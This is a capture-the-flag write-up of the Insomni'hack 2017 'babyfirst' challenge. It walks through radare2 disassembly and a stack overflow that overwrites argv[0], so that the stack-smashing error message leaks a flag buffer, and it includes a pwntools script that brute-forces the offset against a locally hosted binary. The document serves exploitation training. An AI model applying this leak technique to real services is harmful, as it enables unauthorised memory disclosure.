Initial research and description
Baby first was one of the easiest pwn challenges at Insomi’hack CTF 2017 and has been solved by many teams.
There was an address (
			babyfirst.insomni.hack:2324) and a binary provided in the description.
First, let’s check the binary with a file command:
| 1 | babyfirst_6edc09c3c494d535faced5b95c61e234: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=9d979aeeb04a0f92bbc663f35db9744b3318611a, stripped | 
This is a 64-bit Linux binary, so let’s check which security features are being used with checksec:
| 1 2 3 4 5 | Arch:     amd64-64-little RELRO:    Full RELRO Stack:    No canary found NX:       NX enabled PIE:      No PIE (0x400000) | 
After running the application locally, we can see that it cannot read the flag file:
			Can't read the flag file!
Unfortunately, the task’s host is offline now (it has been hosted internally, during the CTF only), so I will host it locally for the purpose of this writeup.
The analysis
Let’s open the application with radare2, analyze it with aaa and display all functions with afl:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | [0x00400830]> afl 0x00400830  42   1   entry0 0x00400758  8    1   sub.__libc_start_main_200_758 0x00400750  8    1   sub.setbuf_192_750 0x00400730  8    1   sub.puts_160_730 0x00400930  55   6   fcn.00400930 0x00400738  8    1   sub.fclose_168_738 0x00400b60  261  6   fcn.00400b60 0x00400770  8    1   sub.__strcpy_chk_224_770 0x00400970  757  11  fcn.00400970 0x00400748  8    1   sub.__stack_chk_fail_184_748 0x00400700  26   3   sub.__gmon_start___216_700 0x00400768  8    1   sub.__gmon_start___216_768 0x00400790  160  3   main 0x00400780  8    1   sub.fopen_240_780 0x00400788  8    1   sub.exit_248_788 0x00400000  73   3   sym.imp.puts 0x00400860  50   4   fcn.00400860 0x00400760  8    1   sub.fgets_208_760 0x00400740  8    1   sub.strlen_176_740 0x00400778  8    1   sub.__printf_chk_232_778 | 
Ok, radare2 correctly recognized the main function, so we can seek to it with s main and disassemble it with pdf (the output has been cleaned up for better readability):
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | [0x00400790]> pdf ;-- section..text: / (fcn) main 160 |     ; DATA XREF from 0x0040084d (main) |     0x00400790  488b3d891820.  mov rdi, qword [rip + 0x201889] ; LEA obj.stdout @ 0x602020 |     0x00400797  53             push rbx |     0x00400798  31f6           xor esi, esi |     0x0040079a  e8b1ffffff     call sub.setbuf_192_750 |     0x0040079f  488b3d9a1820.  mov rdi, qword [rip + 0x20189a] ; LEA obj.stderr @ 0x602040 |     0x004007a6  31f6           xor esi, esi |     0x004007a8  e8a3ffffff     call sub.setbuf_192_750 |     0x004007ad  be17194000     mov esi, 0x401917           ; "r" @ 0x401917 |     0x004007b2  bf19194000     mov edi, str.flag.txt       ; "flag.txt" @ 0x401919 |     0x004007b7  48c705be1820.  mov qword [rip + 0x2018be], 0 |     0x004007c2  48c705bb1820.  mov qword [rip + 0x2018bb], 0 |     0x004007cd  48c705b81820.  mov qword [rip + 0x2018b8], 0 |     0x004007d8  48c705b51820.  mov qword [rip + 0x2018b5], 0 |     0x004007e3  e898ffffff     call sub.fopen_240_780 |     0x004007e8  4885c0         test rax, rax | ,=< 0x004007eb  7428           je 0x400815 | |   0x004007ed  4889c3         mov rbx, rax | |   0x004007f0  4889c2         mov rdx, rax | |   0x004007f3  be20000000     mov esi, 0x20 | |   0x004007f8  bf80206000     mov edi, 0x602080 | |   0x004007fd  e82e010000     call fcn.00400930 | |   0x00400802  4889df         mov rdi, rbx | |   0x00400805  e82effffff     call sub.fclose_168_738 | |   0x0040080a  31c0           xor eax, eax | |   0x0040080c  e84f030000     call fcn.00400b60 | |   0x00400811  31c0           xor eax, eax | |   0x00400813  5b             pop rbx | |   0x00400814  c3             ret | |   ; JMP XREF from 0x004007eb (main) | `-> 0x00400815  bf22194000     mov edi, str.Can_t_read_the_flag_file_ ; "Can't read the flag file!" @ 0x401922 |     0x0040081a  e811ffffff     call sub.puts_160_730 |     0x0040081f  bf01000000     mov edi, 1 |     0x00400824  e85fffffff     call sub.exit_248_788 \     0x00400829  0f1f80000000.  nop dword [rax] | 
As we can see, the main function turns off buffering for stdout and stderr, opens a flag.txt file for reading, if it succeeded, calls function fcn.00400930 with the parameters 0x602080, 0x20 and FILE pointer, closes the file, and calls fcn.00400b60.
We’ll now create the flag.txt file with Fake__Flag__For__The__Writeup as content (unfortunately, we have lost the real flag) and host it locally with socat:
| 1 | socat TCP-LISTEN:2324,reuseaddr,fork EXEC:./babyfirst_6edc09c3c494d535faced5b95c61e234,pty,stderr,setsid,sigint,sane | 
Now, connect to it with netcat:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | $ nc localhost 2324 Your name please? CodiSec Your last wish before dying? asdf                                        __^__^___^___^__^__                                    ___/__   =========   __\___                                  _/___    \___________/    ___\_       _^_^_^__   _^_          < /< < < <  <           >  > > > >\ >          _^_   __^_^_^_     /|| ^ ^ ^  |v| ^ \         /____________ = === = ____________\         / ^ |v|  ^ ^ ^ ||\    /_|| ^ ^ ^  ||| ^ |        _/__/__/__/___\_______/___\__\__\__\_        | ^ |||  ^ ^ ^ ||_\   /__|| ^ ^ ^  ||| ^ |-------|        \___________________/   |    |-------| ^ |||  ^ ^ ^ ||__\ <|  _|| ^ ^ ^  ||| ^ | |  |  |         \_________________/         |  |  | | ^ |||  ^ ^ ^ ||_  |> <|  _||        |||   | |  |  |          \_______________/     |    |  |  | |   |||        ||_  |> <| __|| v v v  ||| v |_|__|__|                                |    |__|__|_| v |||  v v v ||__ |>   \ _|| v v v  ||| v |_|__|__|  INS{*****************************} |__|__|_| v |||  v v v ||_ /    \ || v v v  ||| v |       |                                |    |       | v |||  v v v || /     \||_v_v_v__|^|_v_/       <\ <  <      <           >     >   > />       \_v_|^|__v v v_||/       \_________|__/           \___________           ___________/           \_________|__/         |______|__|              \________/ _________ \_________/              |______|__|        |________|__|             \_________/         \__________/             |________|__|       /__________|__\              \_____  \_________/    _____/             /__________|__\      |__   __ ____|_ |                \__|   _______     |__/               |__   __ ____|_ |    _|______________|__|_              \____/        |  \____/             _|  ||    _    ||  |_  <| <  <   <   >   > |> |>                \_________|_/                  \ |  ||   | |   ||  | /   |                     |                    |___|_|                      \|  ||   | |   ||  |/  <| <  <   <   >   > |> |>                   |___|_|                       |_____   -   _____|   |                  |  |                    |___|_|                        |_| _|     |_ |_|  <| <  <   <   >   > |> |>                 __|___|_|__                     |_________________|   |                  |  |              ___/___________\___                  |_______________|  <| < <    <   >   >  > |>  __/\__/\__/___/\__/\__/\__/\__\__/\__/\__        |___||___||___|   |__________________|__|  /____________    /\  /\  /\   ____________\    \___________________/   /__^__^__^___\ /\  _____  /\ /___^__^__^__\       \-------------/    </__^__^__^__^__\===/__^__\===/__^__^__^__^__\>        \___________/    <|__^__^__^__^__^__^____^____^__^__^__^__^__^__|>                        <| _v__v__v__v__v__v____ v ____v__v__v__v__v__v_ |>                         <|__v__v__v__v__v__v____v____v__v__v__v__v__v__|>                          <\__v__v__v__v__v__v___v___v__v__v__v__v__v__/>                            \__v__v__v__v__v__v__v__v__v__v__v__v__v__/                              Welcome to the rise of the machines CodiSec                                    Are you ready to face us!?? | 
It asks for two strings and then prints this fancy ASCII art. Let’s analyze it more deeply.
A brief analysis of call to fcn.00400930 (with command VV @ fcn.00400930) shows that it reads line up to 0x20 characters long from the flag.txt file to the buffer at 0x602080 and replaces the first occurrence of newline with null byte:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |                  =------------------------------=                  | [0x400930]                   |                  | (fcn) fcn.00400930 55        |                  | push rbx                     |                  | mov rbx, rdi                 |                  | call sub.fgets_208_760 ;[a]  |                  | movzx eax, byte [rbx]        |                  | cmp al, 0xa                  |                  | je 0x400962 ;[b]             |                  =------------------------------=                          f t                        .-' '-------------.                        |                 |                        |                 |                =-------------------=     |                |  0x400940         |     |                | test al, al       |     |                | je 0x400962 ;[b]  |     |                =-------------------=     |                        f t               |               .--------' '---------.     |               |                    |     |               |                    |     |       =--------------------=       |     |       |  0x400944          |       |     |       | lea rdi, [rbx + 1] |       |     |       | jmp 0x400954 ;[c]  |       |     |       =--------------------=       |     |           v                        |     |          .'                        |     |          |                         |     |  .-----------.                     |     |  |   =-----------------------=     |     |  |   |  0x400954             |     |     |  |   | movzx eax, byte [rdi] |     |     |  |   | mov rbx, rdi          |     |     |  |   | add rdi, 1            |     |     |  |   | test al, al           |     |     |  |   | jne 0x400950 ;[d]     |     |     |  |   =-----------------------=     |     |  |         t f                     |     |  |       .-' '---------------.     |     |  |       |                   |     |     |  |       |                   |     |     |  | =-------------------=     |     |     |  | |  0x400950         |     |     |     |  | | cmp al, 0xa       |     |     |     |  | | je 0x400962 ;[b]  |     |     |     |  | =-------------------=     |     |     |  `---------' t               |     |     |              '-----------. .-'-----'-----'                          | | |                          | | |                    =-------------------=                    |  0x400962         |                    | mov byte [rbx], 0 |                    | pop rbx           |                    | ret               |                    =-------------------= | 
We’ll now analyze the fcn.00400b60 function:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |      =--------------------------------------------=      | [0x400b60]                                 |      | (fcn) fcn.00400b60 261                     |      | sub rsp, 0x38                              |      | mov edi, str.Your_name_please_             |      | mov rax, qword fs:[0x28]                   |      | mov qword [rsp + 0x28], rax                |      | xor eax, eax                               |      | call sub.puts_160_730 ;[a]                 |      | mov rdx, qword [rip + 0x2014ab]            |      | mov esi, 0x20                              |      | mov rdi, rsp                               |      | call fcn.00400930 ;[b]                     |      | mov edx, 0x20                              |      | mov rsi, rsp                               |      | mov edi, 0x602060                          |      | call sub.__strcpy_chk_224_770 ;[c]         |      | mov edi, str.Your_last_wish_before_dying_  |      | call sub.puts_160_730 ;[a]                 |      | mov rdx, qword [rip + 0x20147b]            |      | mov esi, 0x190                             |      | mov rdi, rsp                               |      | call fcn.00400930 ;[b]                     |      | mov edx, 0x190                             |      | mov rsi, rsp                               |      | mov edi, 0x6020a0                          |      | call sub.__strcpy_chk_224_770 ;[c]         |      | xor eax, eax                               |      | call fcn.00400970 ;[d]                     |      | mov rax, qword [rsp + 0x28]                |      | xor rax, qword fs:[0x28]                   |      | jne 0x400bf0 ;[e]                          |      =--------------------------------------------=              f t          .---' '---------------.          |                     |          |                     |  =----------------=      =----------------------------------------=  |  0x400beb      |      |  0x400bf0                              |  | add rsp, 0x38  |      | call sub.__stack_chk_fail_184_748 ;[f] |  | ret            |      =----------------------------------------=  =----------------= | 
It stores the security cookie on the stack, allocates local buffer of size 0x28 (40) bytes, asks for the name (reads 32 bytes) and copies it to the buffer at 
			0x602060.
It then asks for another string, reads 0x190 (400) bytes of data to local buffer and copies it to buffer at 
			0x6020a0. After that it calls the function printing ASCII art and checks the stack cookie.
As we can see, there can be a stack buffer overflow while the second string is being read. Let’s try to write more than 40 bytes:
| 1 2 | $ python -c "print('CodiSec'); print('A' * 41)" | nc localhost 2324 *** stack smashing detected ***: ./babyfirst_6edc09c3c494d535faced5b95c61e234 terminated | 
The original challenge has been configured the same way: it was passing “stack smashing detected” message through the socket. This is why we use socat with pty,stderr,setsid,sigint,sane options to host this binary locally.
The exploit
The “stack smashing detected” message contains the name of the application, which is read from the stack (there is a pointer to this string somewhere on the stack – it was passed as an 
			argv[0] parameter to the 
			main function).
As we can see earlier, PIE is not enabled and the flag is read into the memory offset 
			0x602080.
If we can overwrite the 
			argv[0] pointer with the address of the buffer containing flag, it will be displayed as an error message.
We could do that by analyzing the stack locally in gdb and calculating approximate offset or by bruteforcing the offset with a simple Python script. Let’s do it with the script this time:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from pwn import * host = 'localhost' port = 2324 binary_name = 'babyfirst_6edc09c3c494d535faced5b95c61e234' flag_buffer_addr = 0x602080    # Address of buffer with the flag # Buffer size is 40 bytes. Reading is limited to 400 bytes. for i in range(40, 401):     log.info('Trying offset %d...' % (i - 8))     try:         r = remote(host, port)         # Send name, then long line with address at the end of it         r.sendline('CodiSec')         r.sendline('A' * (i - 8) + p64(flag_buffer_addr))         data = r.recvuntil(' terminated', 2)         data = data.split(' ')[-1]         # If there is no application name in the response, and it is not empty we have a flag         if binary_name not in data and len(data) > 0:             log.info('FLAG: INS{%s}' % data)             break         r.close()     except EOFError:         r.close() | 
After a while of bruteforcing we get the flag:
| 1 2 3 4 | [*] Trying offset 296... [+] Opening connection to localhost on port 2324: Done [*] FLAG: INS{Fake__Flag__For__The__Writeup} [*] Closed connection to localhost port 2324 | 
Is it possible to upload a copy of the
babyfirstbinary, so I can follow along your writeup, please?Done. You can find it here.